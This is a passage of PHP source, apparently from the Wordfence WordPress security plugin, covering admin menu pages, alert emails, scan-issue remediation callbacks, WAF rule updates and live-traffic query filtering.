', 'href' => network_admin_url('admin.php?page=WordfenceScan'), )); } } public static function menu_tools() { wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-select2-js'); $subpage = filter_input(INPUT_GET, 'subpage'); switch ($subpage) { case 'livetraffic': $content = self::_menu_tools_livetraffic(); break; case 'auditlog': $content = self::_menu_tools_auditlog(); break; case 'whois': $content = self::_menu_tools_whois(); break; case 'diagnostics': $content = self::_menu_tools_diagnostics(); break; case 'importexport': $content = self::_menu_tools_importexport(); break; // case 'twofactor': default: if (wfCredentialsController::allowLegacy2FA()) { $subpage = 'twofactor'; $content = self::_menu_tools_twofactor(); } else { $subpage = 'livetraffic'; $content = self::_menu_tools_livetraffic(); } } require(dirname(__FILE__) . '/menu_tools.php'); } private static function _menu_tools_livetraffic() { wp_enqueue_style('wordfence-jquery-ui-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-structure-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.structure.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-theme-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.theme.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-timepicker-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui-timepicker-addon.css'), array(), WORDFENCE_VERSION); wp_enqueue_script('wordfence-timepicker-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery-ui-timepicker-addon.js'), array('jquery', 'jquery-ui-datepicker', 'jquery-ui-slider'), WORDFENCE_VERSION); wp_enqueue_script('wordfence-knockout-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/knockout-3.5.1.js'), array(), WORDFENCE_VERSION); wp_enqueue_script('wordfence-live-traffic-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/admin.liveTraffic.js'), array('jquery', 'jquery-ui-tooltip'), WORDFENCE_VERSION); ob_start(); require(dirname(__FILE__) . '/menu_tools_livetraffic.php'); $content = ob_get_clean(); return $content; } private static function _menu_tools_auditlog() { ob_start(); require(dirname(__FILE__) . '/menu_tools_auditlog.php'); $content = ob_get_clean(); return $content; } private static function _menu_tools_whois() { ob_start(); require(dirname(__FILE__) . '/menu_tools_whois.php'); $content = ob_get_clean(); return $content; } private static function _menu_tools_diagnostics() { $emailForm = true; $inEmail = false; ob_start(); require(dirname(__FILE__) . '/menu_tools_diagnostic.php'); $content = ob_get_clean(); return $content; } private static function _menu_tools_importexport() { ob_start(); require(dirname(__FILE__) . '/menu_tools_importExport.php'); $content = ob_get_clean(); return $content; } private static function _menu_tools_twofactor() { ob_start(); require(dirname(__FILE__) . '/menu_tools_twoFactor.php'); $content = ob_get_clean(); return $content; } public static function menu_options() { wp_enqueue_style('wordfence-jquery-ui-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-structure-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.structure.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-theme-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.theme.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-timepicker-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui-timepicker-addon.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-timepicker-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery-ui-timepicker-addon.js'), array('jquery', 'jquery-ui-datepicker', 'jquery-ui-slider'), WORDFENCE_VERSION); wp_enqueue_script('wordfence-select2-js'); try { $wafData = self::_getWAFData(); } catch (wfWAFStorageFileConfigException $e) { // We don't have anywhere to write files in this scenario. Let's notify the user to update the permissions. $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); $logPath = str_replace(ABSPATH, '~/', WFWAF_LOG_PATH); if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF&wafconfigrebuild=1'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF&wafconfigrebuild=1'); } $wafMenuURL = add_query_arg(array( 'waf-nonce' => wp_create_nonce('wafconfigrebuild'), ), $wafMenuURL); $storageExceptionMessage = $e->getMessage() . ' ' . sprintf(__('Click here to rebuild the configuration file.', 'wordfence'), esc_url($wafMenuURL)); } catch (wfWAFStorageFileException $e) { // We don't have anywhere to write files in this scenario. Let's notify the user to update the permissions. $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); $logPath = str_replace(ABSPATH, '~/', WFWAF_LOG_PATH); $storageExceptionMessage = sprintf(/* translators: File path. */ __('We were unable to write to %s which the WAF uses for storage. Please update permissions on the parent directory so the web server can write to it.', 'wordfence'), $logPath); } catch (wfWAFStorageEngineMySQLiException $e) { $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); $logPath = null; $storageExceptionMessage = __('An error occured when fetching the WAF configuration from the database.', 'wordfence') . '
' . esc_html($e->getMessage()) . '
'; } require(dirname(__FILE__) . '/menu_options.php'); } public static function menu_blocking() { // Do nothing -- this action is forwarded in admin_init } public static function menu_firewall() { wp_enqueue_style('wordfence-jquery-ui-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-structure-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.structure.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-theme-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui.theme.min.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-jquery-ui-timepicker-css', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/jquery-ui-timepicker-addon.css'), array(), WORDFENCE_VERSION); wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-timepicker-js', wfUtils::getBaseURL() . wfUtils::versionedAsset('js/jquery-ui-timepicker-addon.js'), array('jquery', 'jquery-ui-datepicker', 'jquery-ui-slider'), WORDFENCE_VERSION); wp_enqueue_script('wordfence-select2-js'); wp_enqueue_script('chart-js'); try { $wafData = self::_getWAFData(); } catch (wfWAFStorageFileConfigException $e) { // We don't have anywhere to write files in this scenario. Let's notify the user to update the permissions. $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); $logPath = str_replace(ABSPATH, '~/', WFWAF_LOG_PATH); if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF&wafconfigrebuild=1'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF&wafconfigrebuild=1'); } $wafMenuURL = add_query_arg(array( 'waf-nonce' => wp_create_nonce('wafconfigrebuild'), ), $wafMenuURL); $storageExceptionMessage = $e->getMessage() . ' ' . sprintf(/* translators: WordPress admin panel URL. */ __('Click here to rebuild the configuration file.', 'wordfence'), esc_url($wafMenuURL)); } catch (wfWAFStorageFileException $e) { // We don't have anywhere to write files in this scenario. Let's notify the user to update the permissions. $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); $logPath = str_replace(ABSPATH, '~/', WFWAF_LOG_PATH); $storageExceptionMessage = sprintf(/* translators: File path. */ __('We were unable to write to %s which the WAF uses for storage. Please update permissions on the parent directory so the web server can write to it.', 'wordfence'), $logPath); } catch (wfWAFStorageEngineMySQLiException $e) { $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); $logPath = null; $storageExceptionMessage = __('An error occured when fetching the WAF configuration from the database.', 'wordfence') . '
' . esc_html($e->getMessage()) . '
'; } if (isset($_GET['subpage']) && $_GET['subpage'] == 'waf_options') { require(dirname(__FILE__) . '/menu_firewall_waf_options.php'); } else if (isset($_GET['subpage']) && $_GET['subpage'] == 'blocking_options') { require(dirname(__FILE__) . '/menu_firewall_blocking_options.php'); } else { require(dirname(__FILE__) . '/menu_firewall.php'); } } public static function liveTrafficW3TCWarning() { echo self::cachingWarning("W3 Total Cache"); } public static function liveTrafficSuperCacheWarning(){ echo self::cachingWarning("WP Super Cache"); } public static function cachingWarning($plugin){ return '

' . sprintf(/* translators: Plugin name. */ __('The Wordfence Live Traffic feature has been disabled because you have %s active which is not compatible with Wordfence Live Traffic.', 'wordfence'), $plugin) . ' ' . sprintf(/* translators: 1. Plugin name. */ __('If you want to reenable Wordfence Live Traffic, you need to deactivate %1$s and then go to the Wordfence options page and reenable Live Traffic there. Wordfence does work with %1$s, however Live Traffic will be disabled and the Wordfence firewall will also count less hits per visitor because of the %1$s caching function. All other functions should work correctly.', 'wordfence'), $plugin) . '

'; } public static function menu_dashboard() { wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-select2-js'); wp_enqueue_script('chart-js'); if (wfConfig::get('keyType') == wfLicense::KEY_TYPE_PAID_EXPIRED || (wfConfig::get('keyType') == wfLicense::KEY_TYPE_PAID_CURRENT && wfConfig::get('keyExpDays') < 30)) { $api = new wfAPI(wfConfig::get('apiKey', ''), wfUtils::getWPVersion()); try { $api->call('check_api_key', array(), array(), false, 2); } catch (Exception $e) { //Do nothing } } if (isset($_GET['subpage']) && $_GET['subpage'] == 'global_options') { require(dirname(__FILE__) . '/menu_dashboard_options.php'); return; } require(dirname(__FILE__) . '/menu_dashboard.php'); } public static function menu_scan() { wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-select2-js'); if (isset($_GET['subpage']) && $_GET['subpage'] == 'scan_options') { require(dirname(__FILE__) . '/menu_scanner_options.php'); return; } else if (isset($_GET['subpage']) && $_GET['subpage'] == 'scan_credentials') { require(dirname(__FILE__) . '/menu_scanner_credentials.php'); return; } require(dirname(__FILE__) . '/menu_scanner.php'); } public static function menu_support() { wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-select2-js'); require(dirname(__FILE__) . '/menu_support.php'); } public static function menu_wordfence_central() { wfConfig::set('showWfCentralUI', 1); wp_enqueue_style('wordfence-select2-css'); wp_enqueue_script('wordfence-select2-js'); require(dirname(__FILE__) . '/menu_wordfence_central.php'); } public static function menu_install() { $token = array_key_exists('token', $_GET) ? $_GET['token'] : null; $payload = array_key_exists('payload', $_GET) ? $_GET['payload'] : null; $invalidLink = false; $payloadException = null; $email = null; $license = null; if ($shouldShowOnboarding = wfOnboardingController::shouldShowAnyAttempt()) { if (!empty($token) && !empty($payload)) { if (wfLicense::validateRegistrationToken($token)) { $wfWebsite = wfWebsite::getInstance(); try { $data = $wfWebsite->retrievePayload($payload, $expiredPayload); $data = json_decode($data, true); if (is_array($data) && array_key_exists('email', $data) && array_key_exists('license', $data)) { $email = (string) $data['email']; $license = (string) $data['license']; } } catch (wfWebsiteEphemeralPayloadRetrievalException $e) { $payloadException = $e; $invalidLink = true; } } else { $invalidLink = true; } } } require(__DIR__ . '/menu_install.php'); } public static function fsActionRestoreFileCallback() { $issueID = filter_input(INPUT_GET, 'issueID', FILTER_SANITIZE_NUMBER_INT); $response = self::ajax_restoreFile_callback($issueID); if (!empty($response['ok'])) { $result = sprintf('

' . /* translators: File path. */ __('The file %s was restored successfully.', 'wordfence') . '

', esc_html(strpos($response['file'], ABSPATH) === 0 ? substr($response['file'], strlen(ABSPATH) + 1) : $response['file'])); } else if (!empty($response['cerrorMessage'])) { $result = sprintf('
%s
', esc_html($response['cerrorMessage'])); } else { $result = '
' . __('There was an error restoring the file.', 'wordfence') . '
'; } printf(<< %s

%s

HTML , $result, esc_url(network_admin_url('admin.php?page=WordfenceScan')), __('Return to scan results', 'wordfence') ); wfScanEngine::refreshScanNotification(); } public static function fsActionDeleteFileCallback() { $issueID = filter_input(INPUT_GET, 'issueID', FILTER_SANITIZE_NUMBER_INT); $response = self::ajax_deleteFile_callback($issueID); if (!empty($response['ok'])) { $result = sprintf('

' . /* translators: File path. */ __('The file %s was deleted successfully.', 'wordfence') . '

', esc_html($response['file'])); } else if (!empty($response['errorMessage'])) { $result = sprintf('
%s
', esc_html($response['errorMessage'])); } else { $result = '
' . __('There was an error deleting the file.', 'wordfence') . '
'; } printf(<< %s

%s

HTML , $result, esc_url(network_admin_url('admin.php?page=WordfenceScan')), __('Return to scan results', 'wordfence') ); wfScanEngine::refreshScanNotification(); } public static function status($level /* 1 has highest visibility */, $type /* info|error */, $msg){ if($level > 3 && $level < 10 && (! self::isDebugOn())){ //level 10 and higher is for summary messages return false; } if($type != 'info' && $type != 'error'){ error_log("Invalid status type: $type"); return; } if(self::$printStatus){ echo "STATUS: $level : $type : ".esc_html($msg)."\n"; } else { self::getLog()->addStatus($level, $type, $msg); } } public static function profileUpdateAction($userID, $newDat = false){ if(! $newDat){ return; } if(wfConfig::get('other_pwStrengthOnUpdate')){ $oldDat = get_userdata($userID); if($newDat->user_pass != $oldDat->user_pass){ $wf = new wfScanEngine(); $wf->scanUserPassword($userID); $wf->emailNewIssues(); } } } public static function replaceVersion($url) { if (is_string($url)) return preg_replace_callback("/([&;\?]ver)=(.+?)(&|$)/", "wordfence::replaceVersionCallback", $url); return $url; } public static function replaceVersionCallback($matches) { global $wp_version; return $matches[1] . '=' . ($wp_version === $matches[2] ? wp_hash($matches[2]) : $matches[2]) . $matches[3]; } public static function genFilter($gen, $type){ if(wfConfig::get('other_hideWPVersion')){ return ''; } else { return $gen; } } public static function getMyHomeURL(){ return wfUtils::wpAdminURL('admin.php?page=Wordfence'); } public static function getMyOptionsURL(){ return wfUtils::wpAdminURL('admin.php?page=Wordfence&subpage=global_options'); } public static function alert($subject, $alertMsg, $IP) { wfConfig::inc('totalAlertsSent'); $emails = wfConfig::getAlertEmails(); if (sizeof($emails) < 1) { return false; } $IPMsg = ""; if ($IP) { $IPMsg = sprintf(/* translators: IP address. */ __("User IP: %s\n", 'wordfence'), $IP); $reverse = wfUtils::reverseLookup($IP); if ($reverse) { $IPMsg .= sprintf(/* translators: Domain name. */ __("User hostname: %s\n", 'wordfence'), $reverse); } $userLoc = wfUtils::getIPGeo($IP); if ($userLoc) { $IPMsg .= __('User location: ', 'wordfence'); if ($userLoc['city']) { $IPMsg .= $userLoc['city'] . ', '; } if ($userLoc['region'] && wfUtils::shouldDisplayRegion($userLoc['countryName'])) { $IPMsg .= $userLoc['region'] . ', '; } $IPMsg .= $userLoc['countryName'] . "\n"; } } $content = wfUtils::tmpl('email_genericAlert.php', array( 'isPaid' => wfConfig::get('isPaid'), 'subject' => $subject, 'blogName' => get_bloginfo('name', 'raw'), 'adminURL' => get_admin_url(), 'alertMsg' => $alertMsg, 'IPMsg' => $IPMsg, 'date' => wfUtils::localHumanDate(), 'myHomeURL' => self::getMyHomeURL(), 'myOptionsURL' => self::getMyOptionsURL() )); $shortSiteURL = preg_replace('/^https?:\/\//i', '', site_url()); $subject = "[Wordfence Alert] $shortSiteURL " . $subject; $sendMax = wfConfig::get('alert_maxHourly', 0); if($sendMax > 0){ $sendArr = wfConfig::get_ser('alertFreqTrack', array()); if(! is_array($sendArr)){ $sendArr = array(); } $minuteTime = floor(time() / 60); $totalSent = 0; for($i = $minuteTime; $i > $minuteTime - 60; $i--){ $totalSent += isset($sendArr[$i]) ? $sendArr[$i] : 0; } if($totalSent >= $sendMax){ return false; } $sendArr[$minuteTime] = isset($sendArr[$minuteTime]) ? $sendArr[$minuteTime] + 1 : 1; wfConfig::set_ser('alertFreqTrack', $sendArr); } //Prevent duplicate emails within 1 hour: $hash = md5(implode(',', $emails) . ':' . $subject . ':' . $alertMsg . ':' . $IP); //Hex $lastHash = wfConfig::get('lastEmailHash', false); if($lastHash){ $lastHashDat = explode(':', $lastHash); //[time, hash] if(time() - $lastHashDat[0] < 3600){ if($lastHashDat[1] == $hash){ return false; //Don't send because this email is identical to the previous email which was sent within the last hour. } } } wfConfig::set('lastEmailHash', time() . ':' . $hash); foreach ($emails as $email) { $uniqueContent = $content . "\n\n" . sprintf(/* translators: WordPress admin panel URL. */ __('No longer an administrator for this site? Click here to stop receiving security alerts: %s', 'wordfence'), wfUtils::getSiteBaseURL() . '?_wfsf=removeAlertEmail&jwt=' . wfUtils::generateJWT(array('email' => $email))); wp_mail($email, $subject, $uniqueContent); } return true; } public static function getLog(){ if(! self::$wfLog){ $wfLog = wfLog::shared(); self::$wfLog = $wfLog; } return self::$wfLog; } public static function wfSchemaExists(){ global $wpdb; $exists = $wpdb->get_col($wpdb->prepare(<<isValidRange()) { throw new Exception(__("The IP you provided must be in dotted quad notation or use ranges with square brackets. e.g. 10.11.12.13 or 10.11.12.[1-50]", 'wordfence')); } $whites = wfConfig::get('whitelisted', ''); $arr = explode(',', $whites); $arr2 = array(); foreach($arr as $e){ if($e == $IP){ return false; } $arr2[] = trim($e); } $arr2[] = $IP; wfConfig::set('whitelisted', implode(',', $arr2)); return true; } public static function ajax_email_summary_email_address_debug_callback() { $email = !empty($_REQUEST['email']) ? $_REQUEST['email'] : null; if (!wfUtils::isValidEmail($email)) { return array('result' => __('Invalid email address provided', 'wordfence')); } $report = new wfActivityReport(); return $report->sendReportViaEmail($email) ? array('ok' => 1, 'result' => __('Test email sent successfully', 'wordfence')) : array('result' => __("Test email failed to send", 'wordfence')); } public static function addDashboardWidget() { if (wfUtils::isAdmin() && (is_network_admin() || !is_multisite()) && wfConfig::get('email_summary_dashboard_widget_enabled')) { wp_enqueue_style('wordfence-activity-report-widget', wfUtils::getBaseURL() . wfUtils::versionedAsset('css/activity-report-widget.css'), '', WORDFENCE_VERSION); $report_date_range = 'week'; switch (wfConfig::get('email_summary_interval')) { case 'daily': $report_date_range = 'day'; break; case 'monthly': $report_date_range = 'month'; break; } wp_add_dashboard_widget( 'wordfence_activity_report_widget', sprintf(/* translators: Localized date range. */ __('Wordfence activity in the past %s', 'wordfence'), $report_date_range), array('wfActivityReport', 'outputDashboardWidget') ); } } /** * @return bool */ public static function hasGDLimitLoginsMUPlugin() { return defined('GD_SYSTEM_PLUGIN_DIR') && file_exists(GD_SYSTEM_PLUGIN_DIR . 'limit-login-attempts/limit-login-attempts.php') && defined('LIMIT_LOGIN_DIRECT_ADDR'); } /** * @param string $content * @return string */ public static function fixGDLimitLoginsErrors($content) { if (self::$authError) { $content = str_replace(wp_kses(__('ERROR: Incorrect username or password.', 'limit-login-attempts'), array('strong'=>array())) . "
\n", '', $content); $content .= '
' . self::$authError->get_error_message(); } return $content; } /** * @return array */ public static function ajax_deleteAdminUser_callback() { /** @var wpdb $wpdb */ global $wpdb; $issueID = absint(!empty($_POST['issueID']) ? $_POST['issueID'] : 0); $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if (!$issue) { return array('errorMsg' => __("We could not find that issue in our database.", 'wordfence')); } $data = $issue['data']; if (empty($data['userID'])) { return array('errorMsg' => __("We could not find that user in the database.", 'wordfence')); } $user = new WP_User($data['userID']); if (!$user->exists()) { return array('errorMsg' => __("We could not find that user in the database.", 'wordfence')); } $userLogin = $user->user_login; if (is_multisite() && strcasecmp($user->user_email, get_site_option('admin_email')) === 0) { return array('errorMsg' => __("This user's email is the network admin email. It will need to be changed before deleting this user.", 'wordfence')); } if (is_multisite()) { revoke_super_admin($data['userID']); } wp_delete_user($data['userID']); if (is_multisite()) { $wpdb->delete($wpdb->users, array('ID' => $data['userID'])); } $wfIssues->deleteIssue($issueID); wfScanEngine::refreshScanNotification($wfIssues); return array( 'ok' => 1, 'user_login' => $userLogin, ); } public static function ajax_revokeAdminUser_callback() { $issueID = absint(!empty($_POST['issueID']) ? $_POST['issueID'] : 0); $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if (!$issue) { return array('errorMsg' => __("We could not find that issue in our database.", 'wordfence')); } $data = $issue['data']; if (empty($data['userID'])) { return array('errorMsg' => __("We could not find that user in the database.", 'wordfence')); } $user = new WP_User($data['userID']); $userLogin = $user->user_login; wp_revoke_user($data['userID']); if (is_multisite()) { revoke_super_admin($data['userID']); } $wfIssues->deleteIssue($issueID); wfScanEngine::refreshScanNotification($wfIssues); return array( 'ok' => 1, 'user_login' => $userLogin, ); } public static function ajax_acknowledgeAdminUser_callback() { $issueID = absint(!empty($_POST['issueID']) ? $_POST['issueID'] : 0); $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if (!$issue) { return array('errorMsg' => __("We could not find that issue in the database.", 'wordfence')); } $data = $issue['data']; if (empty($data['userID'])) { return array('errorMsg' => __("We could not find that user in the database.", 'wordfence')); } $user = new WP_User($data['userID']); if (!$user->exists()) { return array('errorMsg' => __("We could not find that user in the database.", 'wordfence')); } $userLogin = $user->user_login; $adminUsers = new wfAdminUserMonitor(); $adminUsers->addAdmin($data['userID']); $wfIssues->deleteIssue($issueID); wfScanEngine::refreshScanNotification($wfIssues); return array( 'ok' => 1, 'user_login' => $userLogin, ); } /** * */ public static function ajax_disableDirectoryListing_callback() { $issueID = absint($_POST['issueID']); $wfIssues = new wfIssues(); $issue = $wfIssues->getIssueByID($issueID); if (!$issue) { return array( 'err' => 1, 'errorMsg' => __("We could not find that issue in our database.", 'wordfence'), ); } $wfIssues->deleteIssue($issueID); $htaccessPath = wfCache::getHtaccessPath(); if (!$htaccessPath) { return array( 'err' => 1, 'errorMsg' => __("Wordfence could not find your .htaccess file.", 'wordfence'), ); } $fileContents = file_get_contents($htaccessPath); if (file_put_contents($htaccessPath, "# Added by Wordfence " . date('r') . "\nOptions -Indexes\n\n" . $fileContents, LOCK_EX)) { $uploadPaths = wp_upload_dir(); if (!wfScanEngine::isDirectoryListingEnabled($uploadPaths['baseurl'])) { return array( 'ok' => 1, ); } else { // Revert any changes done to .htaccess file_put_contents($htaccessPath, $fileContents, LOCK_EX); return array( 'err' => 1, 'errorMsg' => __("Updating the .htaccess did not fix the issue. You may need to add Options -Indexes to your httpd.conf if using Apache, or find documentation on how to disable directory listing for your web server.", 'wordfence'), ); } } return array( 'err' => 1, 'errorMsg' => __("There was an error writing to your .htaccess file.", 'wordfence'), ); } /** * Modify the query to prevent username enumeration. * * @param array $query_vars * @return array */ public static function preventAuthorNScans($query_vars) { if (wfConfig::get('loginSec_disableAuthorScan') && !is_admin() && !empty($query_vars['author']) && (is_array($query_vars['author']) || is_numeric(preg_replace('/[^0-9]/', '', $query_vars['author']))) && ( (isset($_GET['author']) && (is_array($_GET['author']) || is_numeric(preg_replace('/[^0-9]/', '', $_GET['author'])))) || (isset($_POST['author']) && (is_array($_POST['author']) || is_numeric(preg_replace('/[^0-9]/', '', $_POST['author'])))) ) ) { global $wp_query; $wp_query->set_404(); status_header(404); nocache_headers(); $template = get_404_template(); if ($template && file_exists($template)) { include($template); } exit; } return $query_vars; } /** * @param WP_Upgrader $updater * @param array $hook_extra */ public static function hideReadme($updater, $hook_extra = null) { if (wfConfig::get('other_hideWPVersion')) { wfUtils::hideReadme(); } } public static function ajax_saveDisclosureState_callback() { if (isset($_POST['name']) && isset($_POST['state'])) { $name = preg_replace('/[^a-zA-Z0-9_\-]/', '', $_POST['name']); $state = wfUtils::truthyToBoolean($_POST['state']); if (!empty($name)) { $disclosureStates = wfConfig::get_ser('disclosureStates', array()); $disclosureStates[$name] = $state; wfConfig::set_ser('disclosureStates', $disclosureStates); return array('ok' => 1); } } else if (isset($_POST['names']) && isset($_POST['state'])) { $rawNames = $_POST['names']; if (is_array($rawNames)) { $filteredNames = array(); foreach ($rawNames as $name) { $name = preg_replace('/[^a-zA-Z0-9_\-]/', '', $name); if (!empty($name)) { $filteredNames[] = $name; } } $state = wfUtils::truthyToBoolean($_POST['state']); if (!empty($filteredNames)) { $disclosureStates = wfConfig::get_ser('disclosureStates', array()); foreach ($filteredNames as $name) { $disclosureStates[$name] = $state; } wfConfig::set_ser('disclosureStates', $disclosureStates); return array('ok' => 1); } } } return array( 'err' => 1, 'errorMsg' => __("Required parameters not sent.", 'wordfence'), ); } public static function ajax_updateWAFRules_callback() { try { $event = new wfWAFCronFetchRulesEvent(time() - 2, true); $event->setWaf(wfWAF::getInstance()); $success = $event->fire(); $failureReason = false; if (!$success && method_exists($event, 'getResponse')) { $response = $event->getResponse(); if ($response === false) { $failureReason = wfFirewall::UPDATE_FAILURE_UNREACHABLE; } else { $jsonData = @json_decode($response->getBody(), true); if (isset($jsonData['errorMessage']) && strpos($jsonData['errorMessage'], 'rate limit') !== false) { $failureReason = wfFirewall::UPDATE_FAILURE_RATELIMIT; } else if (isset($jsonData['data']['signature'])) { $failureReason = wfFirewall::UPDATE_FAILURE_FILESYSTEM; } } } return self::_getWAFData($success, $failureReason); } catch (Exception $e) { $wafData = array( 'learningMode' => false, 'rules' => array(), 'whitelistedURLParams' => array(), 'disabledRules' => array(), 'isPaid' => (bool) wfConfig::get('isPaid', 0), ); return $wafData; } } public static function ajax_loadLiveTraffic_callback() { $return = array(); $filters = new wfLiveTrafficQueryFilterCollection(); $query = new wfLiveTrafficQuery(self::getLog()); $query->setFilters($filters); if (array_key_exists('groupby', $_REQUEST)) { $param = $_REQUEST['groupby']; if ($param === 'type') { $param = 'jsRun'; } $query->setGroupBy(new wfLiveTrafficQueryGroupBy($query, $param)); } $query->setLimit(isset($_REQUEST['limit']) ? absint($_REQUEST['limit']) : 20); $query->setOffset(isset($_REQUEST['offset']) ? absint($_REQUEST['offset']) : 0); if (!empty($_REQUEST['since'])) { $query->setStartDate($_REQUEST['since']); } else if (!empty($_REQUEST['startDate'])) { $query->setStartDate(is_numeric($_REQUEST['startDate']) ? $_REQUEST['startDate'] : strtotime($_REQUEST['startDate'])); } if (!empty($_REQUEST['endDate'])) { $query->setEndDate(is_numeric($_REQUEST['endDate']) ? $_REQUEST['endDate'] : strtotime($_REQUEST['endDate'])); } if ( array_key_exists('param', $_REQUEST) && is_array($_REQUEST['param']) && array_key_exists('operator', $_REQUEST) && is_array($_REQUEST['operator']) && array_key_exists('value', $_REQUEST) && is_array($_REQUEST['value']) ) { for ($i = 0; $i < count($_REQUEST['param']); $i++) { if ( array_key_exists($i, $_REQUEST['param']) && array_key_exists($i, $_REQUEST['operator']) && array_key_exists($i, $_REQUEST['value']) ) { $param = $_REQUEST['param'][$i]; $operator = $_REQUEST['operator'][$i]; $value = $_REQUEST['value'][$i]; switch (strtolower($param)) { case 'type': $param = 'jsRun'; $value = strtolower($value) === 'human' ? 1 : 0; break; case 'ip': $ip = $value; if (strpos($ip, '*') !== false) { //If the IP contains a *, treat it as a wildcard for that segment and silently adjust the rule if (preg_match('/^(?:(?:\d{1,3}|\*)(?:\.|$)){2,4}/', $ip)) { //IPv4 $value = array('00', '00', '00', '00', '00', '00', '00', '00', '00', '00', 'FF', 'FF'); $octets = explode('.', $ip); foreach ($octets as $o) { if (strpos($o, '*') !== false) { $value[] = '..'; } else { $value[] = strtoupper(str_pad(dechex($o), 2, '0', STR_PAD_LEFT)); } } $value = '^' . implode('', array_pad($value, 16, '..')) . '$'; $operator = ($operator == '!=' ? 'hnotregexp' : 'hregexp'); } else if (!empty($ip) && preg_match('/^((?:[\da-f*]{1,4}(?::|)){0,8})(::)?((?:[\da-f*]{1,4}(?::|)){0,8})$/i', $ip)) { //IPv6 if ($ip === '::') { $value = '^' . str_repeat('00', 16) . '$'; } else { $colon_count = substr_count($ip, ':'); $dbl_colon_pos = strpos($ip, '::'); if ($dbl_colon_pos !== false) { $ip = str_replace('::', str_repeat(':0000', (($dbl_colon_pos === 0 || $dbl_colon_pos === strlen($ip) - 2) ? 9 : 8) - $colon_count) . ':', $ip); $ip = trim($ip, ':'); } $ip_groups = explode(':', $ip); $value = array(); foreach ($ip_groups as $ip_group) { if (strpos($ip_group, '*') !== false) { $value[] = '..'; $value[] = '..'; } else { $ip_group = strtoupper(str_pad($ip_group, 4, '0', STR_PAD_LEFT)); $value[] = substr($ip_group, 0, 2); $value[] = substr($ip_group, -2); } } $value = '^' . implode('', array_pad($value, 16, '..')) . '$'; } $operator = ($operator == '=' ? 'hregexp' : 'hnotregexp'); } else if (preg_match('/^((?:0{1,4}(?::|)){0,5})(::)?ffff:((?:\d{1,3}(?:\.|$)){4})$/i', $ip, $matches)) { //IPv4 mapped IPv6 $value = array('00', '00', '00', '00', '00', '00', '00', '00', '00', '00', 'FF', 'FF'); $octets = explode('.', $matches[3]); foreach ($octets as $o) { if (strpos($o, '*') !== false) { $value[] = '..'; } else { $value[] = strtoupper(str_pad(dechex($o), 2, '0', STR_PAD_LEFT)); } } $value = '^' . implode('', array_pad($value, 16, '.')) . '$'; $operator = ($operator == '=' ? 'hregexp' : 'hnotregexp'); } else { $value = false; } } else { $value = wfUtils::inet_pton($ip); } break; case 'userid': $value = absint($value); break; } if ($operator === 'match' && $param !== 'ip') { $value = str_replace('*', '%', $value); } $filters->addFilter(new wfLiveTrafficQueryFilter($query, $param, $operator, $value)); } } } try { $return['data'] = $query->execute(); /*if (defined('WP_DEBUG') && WP_DEBUG) { $return['sql'] = $query->buildQuery(); }*/ } catch 